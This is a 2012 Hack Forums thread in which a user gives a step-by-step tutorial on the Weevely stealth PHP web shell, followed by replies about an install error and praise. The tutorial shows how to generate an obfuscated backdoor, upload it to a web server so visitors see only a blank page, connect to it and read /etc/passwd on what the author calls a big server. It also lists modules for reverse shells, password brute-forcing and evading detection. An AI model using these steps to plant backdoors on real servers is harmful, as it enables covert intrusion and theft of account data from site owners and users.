Hack Forums
[Tutorial] How to use Weevely - Stealth tiny web shell - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial] How to use Weevely - Stealth tiny web shell (/showthread.php?tid=2419050)

Pages: Pages 1 2 3

[Tutorial] How to use Weevely - Stealth tiny web shell - Techie‌‌‌ - Apr 19, 2012

How to use Weevely - Stealth tiny web shell


Introduction

Hello ladies & gentlemen. Today, in this tutorial, I will be covering how to use Weevely - A Stealth tiny Web Shell.

What is Weevely?

Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Official website:

http://epinna.github.com/Weevely/

Main features:
More than 30 modules to automatize administration and post exploitation tasks
o Execute commands and browse remote filesystem, even with PHP security restriction
o Audit common server misconfigurations
o Run SQL console pivoting on target machine
o Simple file transfer from and to target
o Spawn reverse and direct TCP shells
o Bruteforce passwords of target system users
o And so on..

 Backdoor communications are hidden in HTTP Cookies Communications are obfuscated to bypass NIDS signature detection
 Backdoor polymorphic PHP code is obfuscated to avoid HIDS AV detection



Steps on how to use.

In this tutorial I will be using Ubuntu 10.04 with Weevely installed. I installed using the .deb package. For you, if you are on Windows, you can download .py (Python) file and run it. You will need Python to be installed on your computer. Now let's go the tutorial.

1. First, I'm starting Weevely

For this, I will just type weevely on the terminal or console.

techie@box:~$ weevely

Result:

Spoiler (Click to View)

Code
techie@box:~$ weevely

Weevely 0.6 - Generate and manage stealth PHP backdoors
    Emilio Pinna 2011-2012    

Start telnet-like session
  weevely <url> <password>

Run single command or module
  weevely <url> <password> <command> [argument1] [argument2] ..

Generate PHP backdoor script
  weevely generate <password> <output path>

Show modules help
  weevely <url> <password> :show [module name]

Available modules

  [audit] audit.etc_passwd, audit.user_web_files, audit.user_files
  [backdoor] backdoor.reverse_tcp, backdoor.tcp, backdoor.install
  [bruteforce] bruteforce.sql, bruteforce.ftp_users, bruteforce.ftp, bruteforce.sql_users
  [file] file.upload, file.enum, file.check, file.read, file.download
  [find] find.perms, find.name, find.suidsgid, find.webdir
  [shell] shell.sh, shell.php
  [sql] sql.query, sql.summary, sql.dump, sql.console
  [system] system.info



2. Now the second step is to generate a PHP code (backdoor).For this, we should type,

weevely generate <password> <output path>

In my case

techie@box:~$ weevely generate tutorial /home/techie/bac.php

Note : techie stands for your username and tutorial is the password I give.

Result:

Code
Weevely 0.6 - Generate and manage stealth PHP backdoors
    Emilio Pinna 2011-2012    

+ Backdoor file '/home/techie/bac.php' created with password 'tutorial'.

Then, we can upload this code to a web server or site. If somebody visits the URL, they will just see a blank page. 😈



3. Now, let's us connect to the backdoor from the terminal.

techie@box:~$ weevely http://site.com/dir/bac.php tutorial

Note : tutorial is the password.

Result:

Spoiler (Click to View)

Code
Weevely 0.6 - Generate and manage stealth PHP backdoors
    Emilio Pinna 2011-2012    

[+] Starting terminal. Shell probe may take a while...

[+] List modules with <tab> and show help with :show [module name]

[email protected]:/home/user/public_html/dir$



4. Now, let's us try a simple command.

[email protected]:/home/user/public_html/dir$ cat /etc/passwd

Spoiler (Click to View)

Result:

Code
hiebad:x:900:899::/home/hiebad:/usr/local/cpanel/bin/noshell
bahost:x:901:900::/home/bahost:/bin/false
mabofr:x:902:901::/home/mabofr:/bin/false
tiswab:x:903:902::/home/tiswab:/usr/local/cpanel/bin/noshell
timuch:x:904:903::/home/timuch:/bin/false
uonbis:x:905:904::/home/uonbis:/bin/false
tetrec:x:906:905::/home/tetrec:/usr/local/cpanel/bin/noshell
vchcho:x:907:906::/home/vchcho:/usr/local/cpanel/bin/noshell
privuw:x:908:907::/home/privuw:/usr/local/cpanel/bin/noshell

Spoiler (Click to View)

😶

The server I used is a big server. But I have listed only some users here.



Conclusion

Hope you understand how to use Weevely. There are also a lot of modules in Weevely. To use this, just read the help (type weevely) and do like that.

Here is a list of available Modules:

https://github.com/epinna/Weevely/wiki/Modules-list

Also, here is a video tutorial. (Created by the script author)




See you. 🙂

* - Sho0ter - Apr 19, 2012

Good job Techie.Keep up the good work.

* - Haters Ganna Hate - Apr 19, 2012

Keep getting this error, any tips?
Code
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\d>weevely.py
'weevely.py' is not recognized as an internal or external command,
operable program or batch file.

C:\Documents and Settings\d>cd C:\Documents and Settings\d\Desktop

C:\Documents and Settings\d\Desktop>weevely.py
Traceback (most recent call last):
  File "C:\Documents and Settings\d\Desktop\weevely.py", line 21, in <module>
    from core.terminal import Terminal, module_trigger, help_string
  File "C:\Documents and Settings\d\Desktop\core\terminal.py", line 8, in <modul
e>
    from core.enviroinment import Enviroinment
  File "C:\Documents and Settings\d\Desktop\core\enviroinment.py", line 8, in <m
odule>
    import readline, atexit, os, re, shlex
ImportError: No module named readline

C:\Documents and Settings\d\Desktop>

Any help? Yes, all files are with each other, i altered nothing

* - Techie‌‌‌ - Apr 19, 2012

(Apr 19, 2012 09:32 PM)Haters Ganna Hate Wrote:  Keep getting this error, any tips?
Code
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\d>weevely.py
'weevely.py' is not recognized as an internal or external command,
operable program or batch file.

C:\Documents and Settings\d>cd C:\Documents and Settings\d\Desktop

C:\Documents and Settings\d\Desktop>weevely.py
Traceback (most recent call last):
  File "C:\Documents and Settings\d\Desktop\weevely.py", line 21, in <module>
    from core.terminal import Terminal, module_trigger, help_string
  File "C:\Documents and Settings\d\Desktop\core\terminal.py", line 8, in <modul
e>
    from core.enviroinment import Enviroinment
  File "C:\Documents and Settings\d\Desktop\core\enviroinment.py", line 8, in <m
odule>
    import readline, atexit, os, re, shlex
ImportError: No module named readline

C:\Documents and Settings\d\Desktop>

Any help? Yes, all files are with each other, i altered nothing

What version of Python are you using? Which OS are you using?

* - Haters Ganna Hate - Apr 19, 2012

(Apr 19, 2012 09:36 PM)Techie. Wrote:  What version of Python are you using? Which OS are you using?

Windows XP with Python 2.7.3 under a VirtualBox

(Apr 19, 2012 09:36 PM)Techie. Wrote:  What version of Python are you using? Which OS are you using?

Windows XP with Python 2.7.3 under a VirtualBox

* - Techie‌‌‌ - Apr 19, 2012

(Apr 19, 2012 09:41 PM)Haters Ganna Hate Wrote:  Windows XP with Python 2.7.3 under a VirtualBox


Windows XP with Python 2.7.3 under a VirtualBox

Looks like you downloaded the .py file only.

Try this : https://github.com/downloads/epinna/Weevely/weevely-0.6.tar.gz

Edit : Confirmed. It is working. Download the full package. https://github.com/downloads/epinna/Weevely/weevely-0.6.tar.gz

Only 2 replies for 55 views? :(

* - Sw1x - Apr 20, 2012

Nice tutorial, I find this very useful. :)

* - lprh_mcr - Apr 20, 2012

nice one bro:
keep up the good work
oh and try trixd00r
:)

* - Techie‌‌‌ - Apr 20, 2012

(Apr 20, 2012 01:29 AM)lprh_mcr Wrote:  nice one bro:
keep up the good work
oh and try trixd00r
:)

Yes. I have been already preparing it with my friends. ;)

Stay tuned.

* - joomlafkr - Apr 20, 2012

That's my favorite shell ever !
Good tutorial man ! Keep it up :D

* - Techie‌‌‌ - Apr 20, 2012

(Apr 20, 2012 01:53 AM)joomlafkr Wrote:  That's my favorite shell ever !
Good tutorial man ! Keep it up :D

Thank you man. Appreciate this. 🤝

Edit : Just ran up a test between Weevely and WeBaCoo. Looks like Weevely is wining. :D

* - joomlafkr - Apr 20, 2012

Yeah weevely is by far better then WeBaCoo !
wel WeBaCoo has the built-in proxy support !
but'em weevely has better features !

* - Zhen. - Apr 20, 2012

Great tutorial on Weevely man.
Keep it up! :)

* - CypherPunk - Apr 20, 2012

Very nice tutorial , I like this shell :D
Keep up the good work
-Notieboie

* - noober1001 - Apr 20, 2012

Thanks for sharing this.
Keep it up bro.